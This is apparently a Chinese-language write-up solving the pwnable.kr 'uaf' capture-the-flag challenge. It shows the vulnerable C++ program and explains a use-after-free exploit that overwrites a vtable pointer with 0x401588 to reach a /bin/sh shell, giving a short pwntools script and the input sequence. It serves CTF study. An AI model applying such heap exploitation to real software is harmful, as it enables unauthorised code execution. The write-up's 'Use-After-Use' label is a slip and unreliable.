目测是比较接近pwnable的一道题。考察了uaf(use after free的内容),我觉得说白了就是指针没有初始化的问题。

ssh uaf@pwnable.kr -p2222 (pw:guest)

先看一下代码

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
    virtual void give_shell(){
        system("/bin/sh");
    }
protected:
    int age;
    string name;
public:
    virtual void introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};

class Man: public Human{
public:
    Man(string name, int age){
        this->name = name;
        this->age = age;
        }
        virtual void introduce(){
        Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
    Human* m = new Man("Jack", 25);
    Human* w = new Woman("Jill", 21);

    size_t len;
    char* data;
    unsigned int op;
    while(1){
        cout << "1. use\n2. after\n3. free\n";
        cin >> op;

        switch(op){
            case 1:
                m->introduce();
                w->introduce();
                break;
            case 2:
                len = atoi(argv[1]);
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
                cout << "your data is allocated" << endl;
                break;
            case 3:
                delete m;
                delete w;
                break;
            default:
                break;
        }
    }

    return 0;    
}

很明显的是有虚函数的继承,内存的申请,内存的释放,利用思路就是改函数的虚表地址达到执行命令的作用。

执行的命令也不用写shellcode,源代码中的getshell函数就可以用。

首先,UAF是个啥,名字叫Use-After-Use,就是释放后重用,是堆上的一种漏洞,就是在把申请的内存释放后,指向之前内存的指针没有重置为NULL,导致该指针还能访问原来的内存。

这道题也是一样。当释放了w、m后,当再次调用w、m指针就会出问题。

当然直接调用时不会重新执行w->introduct函数的,这是因为堆块会有分配和未分配两种状态,在状态转换时会修改堆块内容。

当然,linux在堆分配中有一种快速分配机制,导致了该程序存在的漏洞。

详细可以参考《C和C++安全编码》一书。

 

在这道题中,如果想利用堆快速分配的机制,需要请求分配的堆块大小是一样的,即argv[1]=sizeof(Women)

这个大小可以再汇编代码中找到

0x18 = 24 所以argv[1]=24

通过跟踪分配可以跟踪到虚表的内容,具体跟踪如下图: 

可以发现,虚表地址是位于结构体内存的最前面8个字节。而函数的调用就是这个虚表指针+偏移

比如Human->give_shell 就是 vTable_ptr + 0

因此,仅需修改一个指针即可,再看修改位置,read函数是从argv[2]所指的文件中获取,所以要把这个地址写到文件中,并且不需要填充。

写的内容需要调用give_shell函数,由于函数后来要调用introduce函数,地址是 vTable_ptr + 8,因此将虚表指针改写为0x401588即可。

 

先写一个/tmp/p4nda文件,内容是0x401588:

from pwn import *

addr = 0x401588
f = open('/tmp/p4nda',"wb")
f.write(p64(addr))
f.close

再顺序执行3->2->2->1即可

 

note:执行两次2的原因是分配的顺序是后释放先分配,而函数执行的顺序恰好是反过来的,因此需要执行两次,让m指针也被分配就可以了。